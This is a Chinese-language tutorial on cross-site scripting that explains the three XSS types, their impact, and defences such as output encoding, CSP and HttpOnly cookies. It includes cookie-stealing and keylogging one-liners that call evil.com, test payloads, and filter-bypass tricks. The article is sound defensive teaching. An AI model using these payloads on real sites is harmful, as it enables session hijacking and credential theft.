资讯详情

资讯详情

XSS跨站脚本攻击从原理到防御:彻底搞懂三类XSS与防护方案

XSS这玩意儿在Web安全圈子里属于老熟人级别了。每次做安全测试、写防护方案、或者处理线上告警十次里有六次都能撞见它的影子。很多人觉得XSS不就是弹个alert框么危害不大优先级往后排排。但真正被它坑过的都知道一个看似无害的脚本注入点能演变成批量盗号、后台被人接管、整站挂马甚至让一个公司几百万用户的cookie全部裸奔。这篇就把XSS从原理到防御彻底掰开揉碎讲清楚照着做基本能堵住绝大多数脚本注入的路子。1. 从根上讲明白XSS为什么能成立1.1 一句话理解XSSXSS全名叫Cross-Site Scripting交叉站点脚本意思就是恶意脚本借着某个网站的信誉在别人的浏览器里执行。攻击者往目标网站里塞一段JavaScript然后让正常用户在不知不觉中把这段脚本当成网站自己的代码跑了起来。我经常跟人打这么一个比方你小区保安亭有个代收快递的桌子谁都可以往上面放包裹。正常住户放的包裹是正经快递但有个有心人也往上面放了个炸弹包裹。保安没检查把整栋楼的住户都叫来取。结果每个人都开开心心地把炸弹抱回家了。放在Web应用里那个代收桌就是留言板、评论区、搜索框这类能交互的地方炸弹就是被注入的恶意脚本全楼住户就是所有点进这个页面的用户。这里要划一个重点XSS攻击的是访问网站的用户不是网站服务器本身。这个认知上的偏差导致很多开发者和运维一上来就轻视它——觉得反正我的服务器没被打穿怕啥。但真实情况恰恰相反服务器没被打穿只是因为攻击者根本不需要打穿服务器他们直接借用网站的信誉去打用户。1.2 信任模型错位数据被当成代码执行了要理解XSS为什么防不胜防得搞明白浏览器是怎么区分数据和代码的。浏览器收到服务器返回的HTML本质上就是一坨文本流。它逐行解析尖括号里的标签是结构标签属性是配置script标签里的内容是代码其余的就是文本。问题来了如果应用把用户的输入直接拼进HTML字符串里没有做任何处理而用户的输入恰好长得像代码浏览器就分不清哪些是数据、哪些是代码了。举个例子一个搜索页面后端代码大概是这种写法# 伪代码 html p您搜索的关键词是 user_input /p用户正常输入手机页面显示您搜索的关键词是手机一切正常。但如果输入的是/pscriptalert(xss)/script拼出来的HTML就变成了p您搜索的关键词是/pscriptalert(xss)/script/p浏览器解析的时候前面的正常闭合了段落标签接着一个script标签带着alert代码直接执行了。站在浏览器的角度它没有做错任何事——因为服务器交给它的HTML里确实就包含了这段脚本。错的是应用没有把用户输入当作不可信的数据来看待任由它进入了解析器的代码区。这个信任模型的错位就是XSS的根本成因。换句话说只要用户输入还能以代码身份进入HTML的解析流程XSS就永远打不干净。理解了这一层后面所有防御手段的逻辑就通透了——要么让用户输入以数据身份进入页面要么强制限制它能执行的代码范围要么让恶意脚本拿到的东西变得一文不值。2. 三大类型的XSS反射型、存储型和DOM型XSS按触发和存储方式的差异通常分成反射型、存储型和DOM型三类。这三类的攻击面、利用难度、危害程度完全不一样排查和防御的思路也不同必须分开捋。2.1 反射型XSS一次性利用靠URL传播反射型XSS也叫非持久型XSS。恶意脚本放在URL参数里服务器接收到参数后直接拼进响应页面返回。因为脚本是反射回来的所以叫反射型。它存在的典型场景是搜索、跳转、错误提示这种把参数原样带出来的功能。还是刚才那个搜索页的例子攻击者构造一条恶意链接https://example.com/search?keywordscriptdocument.locationhttps://evil.com/steal?cookiedocument.cookie/script把这条链接发给目标用户邮件、聊天、论坛签名都是途径用户一旦点击脚本就在ta的浏览器里执行cookie就被偷走了。反射型XSS的几个特点很鲜明非持久恶意payload不存储在服务器上就藏在URL里用完即走。依赖社工必须骗用户点链接。链接又长又怪一堆编码后的尖括号百分号很多人会警惕所以攻击者经常用短链服务伪装或者利用一些跳转接口让链接看起来更可信。危害被很多人低估如果你认为有人会去点那种带%3Cscript%3E的URL那确实显得很蠢。但现实中结合诱导页面、短链接、或者藏在二维码里手机端看不出URL全文打开率远比你想象的高。企业内网的工单系统、后台管理系统如果存在反射型XSS攻击者通过社工手段诱导管理员点开一个伪造的登录异常链接一样能拿到管理员的会话危害一点都不小。2.2 存储型XSS最危险打一次管所有存储型XSS也叫持久型XSS。恶意脚本被永久存储在服务器端——评论、昵称、上传文件内容、简历字段、订单备注任何能被存下来并在后续页面上展示的用户输入都可能变成存储型XSS的载体。攻击流程是这样的攻击者在某篇文章的评论区提交一段恶意脚本服务器把评论和脚本一起存进了数据库。之后任何一个用户打开这篇文章脚本都在ta的浏览器里执行。攻击者只需要投放一次所有访问者都是猎物。存储型XSS为什么是三类里最危险的原因很朴素覆盖面极大脚本对每个访问目标页面的人都生效不像反射型那样需要一个个去诱导点击。隐蔽性极强恶意代码混在正常内容里藏在数据库深处普通管理员看不到任何异常攻击者也不需要跟受害者互动全程无感知。可持续投毒只要不清理数据脚本一直在那每天新访问的用户都可能中招时间越长受害者越多。2010年爆出的著名百度贴吧蠕虫事件就是存储型XSS的典型——用户只要点击一个帖子脚本会自动在不需要用户操作的情况下发布新帖子一传十十传百整个贴吧被刷得乱七八糟。这种利用存储型XSS自我复制的攻击形态业内叫XSS蠕虫。2.3 DOM型XSS纯前端事故绕过了所有后端防护DOM型XSS跟前两种最大的区别在于它不需要经过服务器。恶意payload确实在URL里或者存在localStorage里但服务器返回的HTML是干净的真正的问题出在页面里的JavaScript代码把不可信数据取出来之后又用不安全的方式写回了DOM。看一段有问题的前端代码// 从URL取参数 let name new URLSearchParams(window.location.search).get(name); // 直接往DOM里注入HTML —— 这是凶手 document.getElementById(welcome).innerHTML 欢迎 name;攻击者构造https://example.com/profile?nameimg srcx onerroralert(document.cookie)后端返回的页面本身完全正常但这段前端JS执行时把URL里的值取出并赋值给innerHTML浏览器把img标签渲染出来onerror事件被触发脚本照样执行。整个过程中后端服务器可能连这个参数都没碰过。DOM型XSS最难防的点在于它藏在纯前端代码里传统的服务端防护措施比如输出编码、安全过滤完全按不到它因为恶意代码根本不会出现在HTTP响应里。常规的WAF、Web扫描器对这种类型基本瞎眼只能靠前端代码审计和浏览器端防护去抓。在前端框架日益复杂的今天DOM型XSS的比例反而在上升。2.4 三兄弟对比速查表类型存储位置触发时机攻击路径危害程度排查难度反射型URL参数用户点链接请求发出后响应里带脚本社工诱导点击中中存储型服务器数据库任何用户打开含脚本的页面一次注入持久生效极高低代码审计容易发现DOM型URL/localStorage/sessionStorage前端JS执行时动态写DOM社工诱导 前端漏洞链高高需要审前端逻辑3. 攻击者拿到XSS之后能干什么不就是弹个窗吗是我听得最多的一句话。说这种话的人要么没经历过真实攻击要么没认真想过一个可以任意执行JavaScript的上下文到底意味着什么。我一个个列给你看。3.1 偷会话直接冒充用户身份最经典的利用方式没有之一。网站靠什么认人绝大多数靠cookie里的会话ID。攻击者通过XSS执行一行代码new Image().srchttps://evil.com/collect?datadocument.cookie恶意脚本把当前用户的cookie发到了攻击者的服务器上。攻击者拿到cookie后用浏览器插件替换掉自己浏览器的cookie就完成了会话劫持——不需要知道你的密码不需要回答密保问题ta现在就是你。如果盗的是管理员的cookie那攻击者就是管理员。注意这里要分清HttpOnly的作用边界。HttpOnly标记能阻止JavaScript读取cookie它对防止XSS直接窃取cookie有效。但如果登录凭证放在了localStorage里或者cookie没加HttpOnly那XSS一执行就是裸奔。即使加了HttpOnlyXSS还能通过修改页面、劫持表单来骗取敏感信息所以HttpOnly是减损手段不是根治手段。3.2 钓鱼与页面篡改XSS攻击者和被攻击者处于同一页面这意味着攻击者可以随意改变用户看到的东西。最经典的场景是伪造登录表单在页面上注入一段HTML覆盖或伪造一个您的会话已过期请重新登录的弹窗用户输入账号密码后表单把数据发到攻击者的服务器攻击者白得一份明文口令。这种方式比传统网络钓鱼隐蔽得多因为它出现在一个用户本来就信任的域名下浏览器地址栏的网址是对的SSL证书是有效的用户没有任何理由怀疑。3.3 键盘记录与行为监控在页面上挂一个键盘监听器代码量小到令人发指document.addEventListener(keydown, function(e) { new Image().srchttps://evil.com/k?kencodeURIComponent(e.key); });从此这个用户在目标网站上的每一次敲键都同步传给了攻击者。输入搜索词、填写工单、回复邮件所有内容尽收眼底。攻击者甚至可以把页面里所有表单收集一遍。这类攻击的优点是不动声色不触发任何登录异常连安全感知强的用户都察觉不了。3.4 蠕虫式传播与加密货币挖矿存储型XSS的极端形态就是蠕虫——恶意脚本自动复制自己读当前页面的DOM结构找到评论区或发帖的接口用当前用户的身份自动提交一条包含同样恶意脚本的内容。一个人中招脚本就通过ta的身份感染所有跟他有互动的用户指数级扩散。还有一类利用是在页面里嵌入挖矿脚本占用用户CPU资源挖加密货币。虽然这种利用方式随着加密市场波动起起伏伏但它证明了一个事只要脚本能在用户浏览器里跑攻击者就能拿用户的设备当资源用这比感染个人电脑成本低多了。4. 防御实战从源头堵住脚本注入防御XSS不是做一道工序就完事而是一套多层防御体系。每一层都可能被绕过但多层的交叉防护能把攻击者的成功率压到最低。下面按优先级拆开讲。4.1 输出编码防守的第一道城墙XSS的成因是用户数据进入了代码区所以最直接的解药就是让数据永远以纯文本的身份输出。在把不可信数据插入HTML的不同位置时必须用对应的编码规则进行转义。插入位置编码规则示例HTML标签内容里HTML实体编码→lt;→gt;→amp;HTML标签属性里HTML属性编码注意引号转义→quot;JavaScript代码字符串里JavaScript字符串转义反斜杠转义内联JSON用\uXXXXCSS值里CSS转义CSS中的\转义URL参数里URL编码用encodeURIComponent处理具体操作时要根据数据要插入的位置选择正确的编码方式用错编码等于白用。这个点很多新手会踩坑在HTML标签内容里只做了JavaScript转义结果一个script照样被解析执行。在实际项目中最省心的方案是依赖成熟的模板引擎和框架自带编码机制。例如主流模板引擎默认开启自动转义业务代码里只需要避免使用|safe、v-html、innerHTML这类跳过转义的出口尤其不要把用户输入直接扔进去。4.2 输入校验能信但不能全信伴随输出编码的还有输入校验。用户输入的内容应该在前端和后端都做合法性校验——手机号就只允许数字和少量符号邮箱就必须符合邮箱格式数字参数就必须是整数类型。校验的意义在于减少脏数据进入系统的概率把攻击面收窄。但是输入校验有一个常见的误区白名单过滤优于黑名单过滤。如果你想着去屏蔽script、onerror、javascript:这些关键词攻击者有无数种绕过姿势后面会讲。正确的做法是只允许明确安全的字符集其他一律拒绝或清洗。比如一个用户名你的业务只允许中文、字母、数字和下划线那就只保留这一部分其余全部过滤掉——不需要认识坏东西长什么样只要挡住所有不是好东西的就够了。提示输入校验永远只能作为辅助不能作为唯一防线。因为业务千变万化很多字段天然就需要允许HTML标签比如富文本编辑器提交的内容这时候过滤恶意标签就成了一个非常难做对的事情你维护的每个例外都可能成为攻击者的突破口。4.3 CSP给浏览器画个安全圈Content Security Policy内容安全策略。它通过HTTP响应头告诉浏览器这个页面只允许加载和执行哪些来源的资源是防御XSS的一记重拳。一个实用的CSP配置大概是这样的Content-Security-Policy: default-src none; script-src self; style-src self; img-src self data:; connect-src self; frame-ancestors none; base-uri self; form-action self这段配置的意思翻译成人话是页面不允许任何外部来源的脚本脚本只能从本站域名加载样式同理图片可以加载本站资源也可以加载base64数据不允许页面被iframe嵌入表单提交只能发往本站。攻击者就算找到了一个XSS注入点想执行一段内联脚本结果浏览器一看CSP策略script-src self直接拒绝执行。这相当于给浏览器画了一个圈圈外的代码一律不跑。配置CSP有几个容易踩的坑unsafe-inline千万别加。很多团队为了兼容老页面会把script-src self unsafe-inline这等于把CSP的脚本防护直接关了内联脚本又放行了。如果非要用内联脚本建议改用script-src self nonce-随机数的方式给每个合法的内联脚本标记一次性nonce值。线上验证要渐进式。直接上全量严格策略大概率会把线上功能搞挂比如某个CDN的脚本或第三方统计被拦截。合规的做法是先开Content-Security-Policy-Report-Only只收集违反策略的日志观察一段时间确认没有误伤再切换到强制模式。eval()也是重点。默认情况下script-src不包含unsafe-eval时eval()及相关函数会被禁用。有些老代码依赖eval上线前必须排查清楚。4.4 Cookie安全属性与HttpOnly给会话cookie打上HttpOnly标记是最便宜、最有效的减损措施Set-Cookie: sessionidabc123; HttpOnly; Secure; SameSiteLaxHttpOnly让document.cookie读不到这个cookieXSS脚本偷不走会话。Secure确保cookie只在HTTPS连接下传输防止中间人截获。SameSite限制第三方请求携带cookie对CSRF也有一定防护效果。这三个属性应该成为所有cookie的默认配置。但我必须强调一个常见认知错误很多人以为加上HttpOnly就万事大吉了。事实是XSS依然能做的事太多了——修改页面内容、代理用户操作表单、调用用户已登录的接口。所以HttpOnly只是会话保护的底线手段不是XSS的治本药。4.5 善用框架自带的安全防护如果你用主流前端框架React、Vue、Angular开发默认的插值语法对所有文本内容会自动做转义XSS很难直接通过普通绑定点成功。真正的问题往往出在逃生通道上框架危险API安全替代方案ReactdangerouslySetInnerHTML{变量}文本插值Vuev-html文本插值{{ }}Angular[innerHTML]/bypassSecurityTrustHtml[textContent]jQuery.html().text()这些API在做富文本渲染时确实有用但规则必须严格除非内容经过可信的富文本过滤流程比如通过专门的白名单脏活库处理过否则任何用户输入不得以HTML形式进入这些出口。5. 检测与排查怎么知道自己有没有中招5.1 手工测试的几个经典姿势在做代码审计或渗透测试时我习惯先用最简单的payload验证点是否存在XSS再逐级深入。几个必试的payloadscriptalert(1)/script img srcx onerroralert(1) svg onloadalert(1) a hrefjavascript:alert(1)click/a测试的入口以注入点是否将输入原样回显为中心寻找。凡是看到以下功能的统统标记为高嫌疑搜索框结果页错误提示页把报错信息直接展示的评论、留言、昵称等展示用户输入的位置URL参数名出现在页面内容里的很多框架会反射参数错误信息前端代码里用innerHTML、document.write、eval处理变量的位置拿到嫌疑点后先用无害payload确认弹窗或网络请求是否触发再换成窃取cookie的payload做验证。测试记得用自己搭的测试页面或靶场环境不要拿线上生产系统瞎试。5.2 自动化扫描工具的定位与局限手工找XSS效率不高尤其是面对动辄几十万行代码的应用所以自动化扫描工具是必要补充。常用组合是漏洞扫描器如某商业WAF扫描、开源的综合扫描器用于广撒网快速定位可疑注入点。浏览器级自动化工具比如基于无头浏览器的爬虫扫描方案用于验证反射型和DOM型XSS这类工具能模拟真实浏览器执行JavaScript比纯发HTTP请求的扫描器准确度高得多。工具能大幅提升效率但一定要清楚它们的局限性。扫描器的payload库是固定的遇到需要特殊上下文才能触发的XSS比如要求特定输入格式、特定字符集、需要用户交互漏报率很高。所以工具扫描完只能说基本心里有数了不能说没有漏洞了。真正的安全评估必须是自动化扫描加上人工审计结合。5.3 误报与漏报的那些坑实测经验XSS的自动化检测是所有漏洞类型里误报比较高的。我整理了几个实际操作中典型的情况误报一payload被截断或规范化但扫描器仍报漏洞。有些应用会限制输入长度或者只截前N个字符payload实际根本没有完整输出到前端扫描器却因响应里出现了payload片段而标记为漏洞。判定结果一定要结合前端是否真的能执行。误报二响应里存在但被转义扫描器不认转义。有些框架默认做了HTML实体转义响应里能看到lt;scriptgt;代码本身是安全的。扫描器如果简单地做匹配就把安全页面当漏洞报了。人工复核时需要看转义是否完整、是否处于正确的上下文中。漏报一使用动态接口渲染数据纯HTML分析无法发现。现在大量应用是前后端分离的HTML模板里只有一个挂载点所有数据通过接口动态返回。传统的发送HTTP请求扫描器只分析服务器返回的HTML源码看不到JS执行后产生的内容XSS就漏过去了。只能靠无头浏览器类的工具辅助。漏报二DOM型XSS需要特定交互才能触发。扫描器很难覆盖到点击某个按钮之后才出现某个DOM节点这类链路人工测试反而能挖掘出更多深层问题。所以做DOM型XSS检测时我习惯先从代码层面搜索危险的DOM操作入口再构造前置交互条件去触发它。6. 攻击者常用的绕过手段摸着石头过河防御做得再好也要假设攻击者在想尽办法绕过你。了解常见的绕过手法不是为了教人攻击而是为了在测试和审计时能想到这些角度别在自己以为安全的地方翻车。6.1 编码绕过如果你做了关键词黑名单比如屏蔽script攻击者用HTML实体会直接入场#115;#99;#114;#105;#112;#116;这一段实体编码浏览器在解析HTML时会自动解码成script黑名单匹配的却是编码后的字符串就漏了。类似的还有十六进制编码、Unicode编码、url编码各种变形。应对方式前面已经说过不用黑名单用白名单和输出编码。6.2 标签与属性手法的多样化如果script标签被禁止攻击者根本不需要依赖它。能执行JavaScript的HTML标签多得很这只是其中一部分img srcx onerroralert(1) svg onloadalert(1) iframe srcdocscriptalert(1)/script marquee onstartalert(1) input onfocusalert(1) autofocus details open ontogglealert(1)事件句柄onerror、onload、onstart、ontoggle哪个能用用哪个标签哪个支持就挂哪个。这就说明凡是把希望寄托在屏蔽关键标签上的方案都不可靠。6.3 看似防护到位却仍然被绕过的场景我见到的最典型的假防护案例是这个。某团队做防护时只过滤了script关键词测试了几个常见payload都没弹窗以为安全了。结果我用一个img srcx onerroralert(1)的payload直接打穿——因为代码只处理了script标签根本没管事件句柄。还有更曲折的场景应用把用户输入拼进了JavaScript变量var msg 用户输入;明明做了转义把双引号转成了\仿佛挺安全。但是攻击者用反斜杠本身来破坏转义用户输入 \; alert(1); //拼接后变成var msg \; alert(1); //;前一个反斜杠转义了双引号导致双引号没有闭合字符串后面的; alert(1); //逃逸了出来——转义符本身没有被转义就是一个经典的绕过点。这种问题在真实项目中偶尔能看到尤其是手工拼接JS代码的场景。修复方式很简单不要手工拼JS改用框架提供的安全序列化方法或者对反斜杠和引号同时做完整的JavaScript转义。7. 事后止损已经发现XSS怎么办XSS的防御是日常功夫但万一线上还是被报了漏洞或者已经被人利用了一波实际的止损流程也值得梳理一下。有几个关键动作是我在处理类似事件时反复确认过的第一时间定位注入点。把告警或测试报告给的信息拿到手先区分是反射型、存储型还是DOM型。存储型是最紧急的因为影响范围可能已经覆盖了一段时间内所有访问者。定位到具体的位置后立刻确认漏洞是否仍可触发并在代码层面做紧急修复通常就是给对应输出位置补编码或过滤。清洗已存储的恶意负载。存储型XSS哪怕代码修好了数据库里已经存在的恶意脚本还是会持续生效。必须全量搜索数据库里相关字段把疑似payload的内容删除或转义。搜索时不能只找script关键词要结合前面的绕过知识把编码变体、事件句柄标签、iframe、svg这些形态都覆盖到。轮换会话凭证。如果你怀疑攻击者已经通过XSS窃取了用户cookie就得考虑强制让所有活跃会话失效。常见做法是修改会话密钥或批量让会话过期让用户重新登录。如果是管理员级别的会话受影响这个操作更不能拖。审计日志与追踪成因。翻看访问日志、WAF日志和应用错误日志看有没有异常的payload特征、异常来源IP、异常数据量。找到攻击者进入的入口才能确认是代码问题还是配置问题避免下次用同一条路又进来。这套流程没法提前演练最好平时就把日志、备份、回滚机制准备好。真出事的时候每省一分钟都能少一批受害者。8. 一条完整的XSS防护自查清单把前文所有内容浓缩成一张可执行的自查清单照着过一遍心里就有底了检查项具体动作状态全站输出编码模板引擎默认转义是否开启危险出口v-html等是否有白名单流程未确认用户输入校验关键字段后端是否有白名单校验长度、类型、格式是否严格未确认富文本过滤富文本框是否经过可信的过滤类库处理过滤规则是否定期更新未确认Cookie安全属性会话cookie是否全带HttpOnly、Secure、SameSite未确认CSP策略是否已配置是否误加了unsafe-inline/unsafe-eval是否用报告模式验证过未确认前端危险API排查全局搜索innerHTML、document.write、eval等危险调用点未确认自动化扫描是否已用扫描器对新版本应用做例行检测未确认人工复审核心业务模块是否有代码审计记录关键位置是否用真实payload验证过未确认这张表可以根据自己团队的实际情况加项目但它应该能覆盖绝大多数XSS的攻防面了。我个人做这一行最深的体会是XSS这儿没有一招鲜的打法它考验的是对浏览器解析机制的理解深度以及对业务边界的敬畏心。防御做得再好如果业务新功能没走安全评审、新接口没做输出编码、老代码没人知道里面藏了危险写法漏洞还是会在某个不起眼的角落里等着。所以与其背结论不如把所有用户输入都不可信、所有输出都要编码、所有代码执行都要受限这三个习惯刻进日常开发的肌肉记忆里。XSS打不打得穿往往不取决于攻击者的技术有多高而取决于守门人有没有把最基本的几件事做到位。
觉得有用,分享给同行:

为您的企业打造数字门面

稳重轻奢商务风格,端正雅致视觉,长效耐看不易过时。

立即咨询 →